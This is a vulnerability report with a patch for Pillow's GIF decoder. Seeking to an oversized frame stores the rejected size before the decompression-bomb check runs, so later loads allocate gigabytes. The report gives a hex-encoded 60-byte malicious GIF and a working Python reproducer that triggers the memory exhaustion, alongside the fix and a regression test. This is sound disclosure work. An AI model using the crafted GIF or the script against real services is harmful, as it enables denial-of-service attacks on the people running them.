Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS

# src/PIL/GifImagePlugin.py:289-294  (GifImageFile._seek)
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
    self._size = max(x1, self.size[0]), max(y1, self.size[1])   # state mutated
    Image._decompression_bomb_check(self._size)                 # ...then validated

_decompression_bomb_check() (src/PIL/Image.py:3586) raises DecompressionBombError for anything above 2 * MAX_IMAGE_PIXELS (178 956 970 px by default), but by then self._size already holds the rejected value and nothing restores it: seek() (GifImagePlugin.py:166-179) only rolls back on EOFError, and _seek(0) only ever grows _size. The object that the application still holds therefore reports im.size == (40000, 40000) while im.im is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a few lines further down in the same function (GifImagePlugin.py:383 and :407), which call _decompression_bomb_check(dispose_size) before the corresponding Image.core.fill(), and TiffImagePlugin.load_prepare() (src/PIL/TiffImagePlugin.py:1319-1321), which checks _tile_size before allocating from it.

With this 60-byte GIF (hex)

47494638396101000100800000000000ffffff          GIF89a, 1x1 screen, 2-entry global palette
2c000000000100010000 02 024401 00               frame 0: 1x1 @ (0,0), LZW data
2c00000000409c409c00                            frame 1 descriptor: 40000x40000 @ (0,0)
2c000000000100010000 02 024401 00               another 1x1 frame
3b                                              trailer

Image.open() succeeds (im.size == (1, 1)), im.seek(1) raises DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, and afterwards im.size == (40000, 40000), im.im.size == (1, 1), im.tell() == 0.

What happens next depends on what the application does with the object, but several ordinary operations take their dimensions from im.size rather than from the C buffer:

• Retrying im.seek(1). The failed _seek left self.__offset == 0 and the file pointer just past the 9-byte descriptor, so the retry parses whatever follows — in the file above, a valid 1×1 frame — and succeeds. im.load() then runs GifImageFile.load_prepare():

  # src/PIL/GifImagePlugin.py:452-456
  elif self.mode in ("RGB", "RGBA"):
      self._prev_im = self.im
      if self._frame_palette:
          self.im = Image.core.fill("P", self.size, self._frame_transparency or 0)
  

  which allocates and memsets a 40000×40000 "P" image (1.6 GB) to decode a 1×1 tile into, and load_end() (GifImagePlugin.py:485-491) fills a second one and converts it to RGB (another 1.6 GB + 6.4 GB).
• im.rotate(angle, expand=True) for a non-multiple-of-90 angle, or the common flatten-onto-background idiom Image.new("RGB", im.size, bg), allocate from im.size as well (measured on an object poisoned to 20000×20000: rotate(45, expand=True) completes and touches 776 MiB; Image.new("RGB", im.size, "white") touches 1.5 GiB). Operations that pass im.size as a box against the real buffer (thumbnail, resize, save) fail with ValueError/SystemError instead.

The extent fields are 16-bit offset plus 16-bit size, so the stored size can be pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA" storage), 96× the error threshold.

n_frames / is_animated are not affected: they call _seek(frame, update_image=False), which skips the _size assignment (the file above reports n_frames == 2, is_animated == True and leaves im.size at 1×1).

Impact

A remote user who can upload a GIF to a service that (a) seeks animation frames and (b) catches the exception from seek() — a broad except Exception around a while True: im.seek(im.tell()+1) frame-collection loop, or an explicit except DecompressionBombError: log and continue — and then keeps using the same Image object, ends up driving allocations of 1.6 GB to tens of GB from a 60-byte file: MemoryError after the process has committed gigabytes, or an OOM kill of the worker when no address-space limit is set. The MAX_IMAGE_PIXELS guard fires, but does not actually keep the rejected dimensions out of the object it is guarding.

The precondition is real application behaviour but not the default path: Image.open(); im.load() is unaffected, and ImageSequence.Iterator propagates the error out of the for statement (a try inside the loop body does not swallow it). Hence low severity. This is adjacent to the GIF extent bomb check added for CVE-2022-45198: the ordering was introduced with that check in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30), first released in Pillow 9.2.0. Before it, the same size growth happened with no check at all; the check introduced there is the one that runs too late.

Reproducing

repro is a single Python script run against the installed Pillow. It needs about 1.7 GB of free RAM.

1. setup_env() caps the process address space at 3 GiB with RLIMIT_AS, so the oversized allocations end in MemoryError instead of the OOM killer. It then opens the 60-byte GIF shown above, built in memory by bomb_gif(). The GIF contains a 1×1 screen and a 1×1 frame 0, so Image.open() passes its own bomb check. Next comes a bare frame-1 image descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error threshold). A real 1×1 frame follows it.
2. poc() calls im.seek(1) and catches DecompressionBombError, the way an application that skips bad frames would.
3. First check: the state is inconsistent. The script prints im.size next to the real pixel buffer im.im.size. If the rejected frame had left the object unchanged, both would be (1, 1). On the affected code im.size is (40000, 40000).
4. Second check: memory use. The script retries im.seek(1), which now parses the trailing 1×1 frame, and calls im.load(). It prints the process's peak RSS before and after. load_prepare() sizes its Image.core.fill() from im.size, so loading a single pixel fills a 1.6 GB buffer before the 3 GiB cap stops the next allocation.

Expected output on the affected tree:

open(): 60-byte GIF, size=(1, 1)
seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.
after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)
seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB
BUG

The script prints BUG only if both checks hold: the over-limit size stayed on the object after the exception, and peak RSS grew by more than 1000 MiB while loading a 1×1 frame. Otherwise it prints OK. With the attached patch applied, it prints im.size=(1, 1), peak RSS stays at about 23 MiB, and the last line is OK.

Suggested fix

The attached patch validates before mutating in GifImageFile._seek() (src/PIL/GifImagePlugin.py:292-294): the enlarged extent is computed into a local, passed to _decompression_bomb_check(), and only then assigned to self._size, matching the order of the two dispose_size checks further down the same function. A rejected frame therefore leaves the object in its pre-seek state; valid files behave as before, and the exception is still raised at the same point:

--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
                 x0, y0 = i16(s, 0), i16(s, 2)
                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
                 if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])
-                    Image._decompression_bomb_check(self._size)
+                    size = max(x1, self.size[0]), max(y1, self.size[1])
+                    Image._decompression_bomb_check(size)
+                    self._size = size
                 frame_dispose_extent = x0, y0, x1, y1
                 flags = s[8]

n_frames / is_animated go through update_image=False and are unaffected. The patch also extends test_exception_gif_extents in Tests/test_decompression_bomb.py to assert that im.size is unchanged after the DecompressionBombError. It does not change seek() itself; optionally, seek() could also treat DecompressionBombError like EOFError and re-seek to last_frame, so that a retried seek() does not resume parsing from the middle of the rejected frame.

The patch

GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size

Applies to src/PIL/GifImagePlugin.py at the commit above.

diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py
index 98d833736..83cc785fc 100644
--- a/Tests/test_decompression_bomb.py
+++ b/Tests/test_decompression_bomb.py
@@ -63,6 +63,9 @@ class TestDecompressionBomb:
             with pytest.raises(Image.DecompressionBombError):
                 im.seek(1)
 
+            # The rejected frame should not have changed the image size
+            assert im.size == (100, 100)
+
     def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None:
         # Set limit to trigger exception on the test file
         monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", 4 * 64 * 128)
diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py
index 11fb180fc..f9bda06c2 100644
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
                 x0, y0 = i16(s, 0), i16(s, 2)
                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
                 if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])
-                    Image._decompression_bomb_check(self._size)
+                    size = max(x1, self.size[0]), max(y1, self.size[1])
+                    Image._decompression_bomb_check(size)
+                    self._size = size
                 frame_dispose_extent = x0, y0, x1, y1
                 flags = s[8]

The reproducer

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

#!/usr/bin/env python3
# GifImageFile._seek() stores a frame's enlarged size in self._size and only
# *then* runs the decompression-bomb check. The check raises, but the object
# keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the
# next load() allocates from that size: 1.6+ GB for a 60-byte GIF.
import io
import resource
import struct

from PIL import Image

BOMB = 40000  # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold
LIMIT = 2 * Image.MAX_IMAGE_PIXELS


def frame_1x1():
    # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream
    return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00"


def bomb_gif():
    return (
        b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" * 3 + b"\xff" * 3
        + frame_1x1()                                         # frame 0: 1x1, passes open()
        + b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0)   # frame 1 claims 40000x40000
        + frame_1x1()                                         # a real 1x1 frame follows
        + b";"
    )


def peak_rss_mib():
    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024


def setup_env():
    # Cap the address space so the oversized allocations end in MemoryError
    # instead of the OOM killer.
    resource.setrlimit(resource.RLIMIT_AS, (3 << 30, 3 << 30))
    data = bomb_gif()
    im = Image.open(io.BytesIO(data))
    print(f"open(): {len(data)}-byte GIF, size={im.size}")
    return im


def poc(im):
    # An application skips the bomb frame and keeps going.
    try:
        im.seek(1)
    except Image.DecompressionBombError as e:
        print(f"seek(1) raised as intended: {e}")
        return True
    return False


im = setup_env()
raised = poc(im)

# Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).
print(f"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}")
poisoned = raised and im.size[0] * im.size[1] > LIMIT and im.im.size == (1, 1)

# Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its
# buffers from the poisoned im.size.
before = peak_rss_mib()
im.seek(1)
try:
    im.load()
    outcome = "completed"
except MemoryError:
    outcome = "MemoryError at the 3 GiB cap"
after = peak_rss_mib()
print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB")
ballooned = after - before > 1000

print("BUG" if poisoned and ballooned else "OK")